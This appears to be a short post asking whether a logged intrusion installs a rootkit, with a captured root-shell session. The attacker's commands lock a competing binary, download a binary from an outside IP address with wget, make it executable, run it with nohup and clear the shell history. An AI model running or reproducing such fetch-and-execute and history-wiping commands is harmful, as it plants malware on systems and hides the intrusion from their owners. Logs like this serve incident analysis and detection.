Installing a rootkit?

20160910-152818-4fe4ce03-0i.log

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root@srv02:~# touch /usr/bin/camplz;chmod 0 /usr/bin/camplz;chattr +i /usr/bin/camplz;killall camplz;
no process found
root@srv02:~# wget -O /gzc/iwhqc uggc://183.61.171.154:5896/iwhqc
--2016-09-10 15:28:22--  http://183.61.171.154:5896/iwhqc
Connecting to 183.61.171.154:5896... connected.
HTTP request sent, awaiting response... chmod +x /gzc/iwhqc
nohup /gzc/iwhqc > /dev/null 2>&1 &
history -c
200 OK
Length: 393448 (384K) [application/octet-stream]
Saving to: `/gzc/iwhqc'

14% [=====>                                 ] 58,548       34K/s  eta 9s
100%[======================================>] 393,448      93K/s  eta 1s

2016-09-10 15:28:26 (93 KB/s) - `/gzc/iwhqc' saved [393448/393448]

'command'
2016-09-10 15:28:26 ERROR 404: Not Found.